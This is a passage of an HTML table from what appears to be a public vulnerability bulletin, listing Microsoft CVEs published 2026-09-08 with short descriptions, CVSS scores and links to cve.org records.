&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SQL Server 2025 (CU8)&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67642&quot; target=&quot;_blank&quot;&gt;CVE-2026-67642&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Visual Studio 2022 version 17.14&lt;/td&gt;
&lt;td&gt;External control of file name or path in .NET allows an unauthorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69805&quot; target=&quot;_blank&quot;&gt;CVE-2026-69805&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Visual Studio 2026 version 18.9&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Visual Studio allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77906&quot; target=&quot;_blank&quot;&gt;CVE-2026-77906&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft Visual Studio 2026 version 18.9&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Visual Studio allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77907&quot; target=&quot;_blank&quot;&gt;CVE-2026-77907&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--OpenApi.YamlReader&lt;/td&gt;
&lt;td&gt;In Microsoft.OpenApi.YamlReader from 2.0.0-preview.11 until 2.12.0 and from 3.0.0 until 3.10.0, and in Microsoft.OpenApi.Readers prior to 1.6.30, a small YAML OpenAPI document containing nested anchors and aliases can cause uncontrolled resource consumption when parsed through the public YAML reader APIs. YAML is parsed through SharpYaml, which represents aliases as shared nodes in a directed acyclic graph, so the parsed YAML graph stays small, but converting that graph to System.Text.Json.Nodes.JsonNode requires every alias to be materialized as an independent node because a JsonNode cannot be attached to multiple parents. Without a bound on that conversion work, a document with N nested anchors each referenced k times can require k^N materialized JSON nodes, leading to excessive memory allocation and process termination through out-of-memory conditions, a billion laughs style denial of service. The patched versions bound the YAML-to-JSON conversion by node count and nesting depth and report an OpenApiDiagnostic error instead of expanding without limit. This vulnerability is fixed in Microsoft.OpenApi.YamlReader 2.12.0 and 3.10.0, and Microsoft.OpenApi.Readers 1.6.30.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72923&quot; target=&quot;_blank&quot;&gt;CVE-2026-72923&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Power Automate agent for virtual desktops&lt;/td&gt;
&lt;td&gt;Relative path traversal in Power Automate allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77897&quot; target=&quot;_blank&quot;&gt;CVE-2026-77897&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Raw Image Extension&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Raw Image Extension allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69649&quot; target=&quot;_blank&quot;&gt;CVE-2026-69649&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Remote Desktop client for Windows Desktop&lt;/td&gt;
&lt;td&gt;Improper control of generation of code (&#039;code injection&#039;) in Remote Desktop Client allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78463&quot; target=&quot;_blank&quot;&gt;CVE-2026-78463&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Remote Desktop client for Windows Desktop&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Remote Desktop Client allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80074&quot; target=&quot;_blank&quot;&gt;CVE-2026-80074&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Remote Desktop client for Windows Desktop&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Remote Desktop Client allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80077&quot; target=&quot;_blank&quot;&gt;CVE-2026-80077&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Remote Desktop client for Windows Desktop&lt;/td&gt;
&lt;td&gt;Improper verification of cryptographic signature in Windows RDP Client allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57098&quot; target=&quot;_blank&quot;&gt;CVE-2026-57098&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Skype for Business Server 2015 CU13&lt;/td&gt;
&lt;td&gt;External control of file name or path in Skype for Business allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66302&quot; target=&quot;_blank&quot;&gt;CVE-2026-66302&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Skype for Business Server 2015 CU13&lt;/td&gt;
&lt;td&gt;Improper verification of cryptographic signature in Skype for Business allows an unauthorized attacker to perform spoofing over an adjacent network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69646&quot; target=&quot;_blank&quot;&gt;CVE-2026-69646&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Skype for Business Server 2015 CU13&lt;/td&gt;
&lt;td&gt;Server-side request forgery (ssrf) in Skype for Business allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66304&quot; target=&quot;_blank&quot;&gt;CVE-2026-66304&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Skype for Business Server 2015 CU13&lt;/td&gt;
&lt;td&gt;Use of client-side authentication in Skype for Business allows an authorized attacker to perform spoofing over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66305&quot; target=&quot;_blank&quot;&gt;CVE-2026-66305&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Skype for Business Server 2015 CU13&lt;/td&gt;
&lt;td&gt;Integer underflow (wrap or wraparound) in Skype for Business allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66307&quot; target=&quot;_blank&quot;&gt;CVE-2026-66307&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Spring Cloud Azure&lt;/td&gt;
&lt;td&gt;Improper authentication in Spring Cloud Azure allows an unauthorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69854&quot; target=&quot;_blank&quot;&gt;CVE-2026-69854&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--SQL Server Management Studio 22&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements in output used by a downstream component (&#039;injection&#039;) in SQL Server allows an unauthorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65669&quot; target=&quot;_blank&quot;&gt;CVE-2026-65669&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Visual Studio Code&lt;/td&gt;
&lt;td&gt;Incomplete comparison with missing factors in Visual Studio Code allows an unauthorized attacker to bypass a security feature over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81376&quot; target=&quot;_blank&quot;&gt;CVE-2026-81376&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Visual Studio Code&lt;/td&gt;
&lt;td&gt;Authorization bypass through user-controlled key in Visual Studio Code allows an unauthorized attacker to bypass a security feature over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78462&quot; target=&quot;_blank&quot;&gt;CVE-2026-78462&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Visual Studio Code&lt;/td&gt;
&lt;td&gt;Inconsistent interpretation of http requests (&#039;http request/response smuggling&#039;) in Visual Studio Code allows an unauthorized attacker to bypass a security feature over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81356&quot; target=&quot;_blank&quot;&gt;CVE-2026-81356&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Visual Studio Code&lt;/td&gt;
&lt;td&gt;Server-side request forgery (ssrf) in Visual Studio Code allows an unauthorized attacker to bypass a security feature over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81357&quot; target=&quot;_blank&quot;&gt;CVE-2026-81357&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Visual Studio Code&lt;/td&gt;
&lt;td&gt;Interpretation conflict in Visual Studio Code allows an unauthorized attacker to bypass a security feature over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81378&quot; target=&quot;_blank&quot;&gt;CVE-2026-81378&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Visual Studio Code&lt;/td&gt;
&lt;td&gt;Not failing securely (&#039;failing open&#039;) in Visual Studio Code allows an unauthorized attacker to bypass a security feature over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81379&quot; target=&quot;_blank&quot;&gt;CVE-2026-81379&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Visual Studio Code&lt;/td&gt;
&lt;td&gt;Incomplete list of disallowed inputs in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70334&quot; target=&quot;_blank&quot;&gt;CVE-2026-70334&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Visual Studio Code&lt;/td&gt;
&lt;td&gt;Improper limitation of a pathname to a restricted directory (&#039;path traversal&#039;) in Visual Studio Code allows an unauthorized attacker to bypass a security feature over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78461&quot; target=&quot;_blank&quot;&gt;CVE-2026-78461&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Visual Studio Code&lt;/td&gt;
&lt;td&gt;Use of incorrectly-resolved name or reference in Visual Studio Code allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81383&quot; target=&quot;_blank&quot;&gt;CVE-2026-81383&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Web Media Extensions&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Windows Codecs Library allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81352&quot; target=&quot;_blank&quot;&gt;CVE-2026-81352&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--WebP Image Extension&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Microsoft WebP Image Extension allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70351&quot; target=&quot;_blank&quot;&gt;CVE-2026-70351&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows USB Mass Storage Class Driver allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68839&quot; target=&quot;_blank&quot;&gt;CVE-2026-68839&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer underflow (wrap or wraparound) in Microsoft UxTheme Library (uxtheme.dll) allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69276&quot; target=&quot;_blank&quot;&gt;CVE-2026-69276&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69408&quot; target=&quot;_blank&quot;&gt;CVE-2026-69408&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Telnet Client allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69431&quot; target=&quot;_blank&quot;&gt;CVE-2026-69431&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows NTFS allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69463&quot; target=&quot;_blank&quot;&gt;CVE-2026-69463&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Microsoft DirectMusic allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69491&quot; target=&quot;_blank&quot;&gt;CVE-2026-69491&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Event Logging Service allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69493&quot; target=&quot;_blank&quot;&gt;CVE-2026-69493&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Compressed Folder allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69496&quot; target=&quot;_blank&quot;&gt;CVE-2026-69496&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Remote Desktop Services allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69525&quot; target=&quot;_blank&quot;&gt;CVE-2026-69525&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Message Queuing allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69579&quot; target=&quot;_blank&quot;&gt;CVE-2026-69579&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Microsoft Windows PDF allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69586&quot; target=&quot;_blank&quot;&gt;CVE-2026-69586&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim&#039;s machine&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69590&quot; target=&quot;_blank&quot;&gt;CVE-2026-69590&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Direct Show allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69715&quot; target=&quot;_blank&quot;&gt;CVE-2026-69715&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows DNS allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69730&quot; target=&quot;_blank&quot;&gt;CVE-2026-69730&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows RNDIS allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69768&quot; target=&quot;_blank&quot;&gt;CVE-2026-69768&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows HTTP Print Provider allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69769&quot; target=&quot;_blank&quot;&gt;CVE-2026-69769&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds write in RPC Runtime allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69819&quot; target=&quot;_blank&quot;&gt;CVE-2026-69819&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer underflow (wrap or wraparound) in Microsoft Standard XPS allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69824&quot; target=&quot;_blank&quot;&gt;CVE-2026-69824&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Shell allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69829&quot; target=&quot;_blank&quot;&gt;CVE-2026-69829&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows DHCP Server allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69845&quot; target=&quot;_blank&quot;&gt;CVE-2026-69845&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Windows Hyper-V allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69910&quot; target=&quot;_blank&quot;&gt;CVE-2026-69910&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds write in Windows Imaging Component allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70296&quot; target=&quot;_blank&quot;&gt;CVE-2026-70296&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
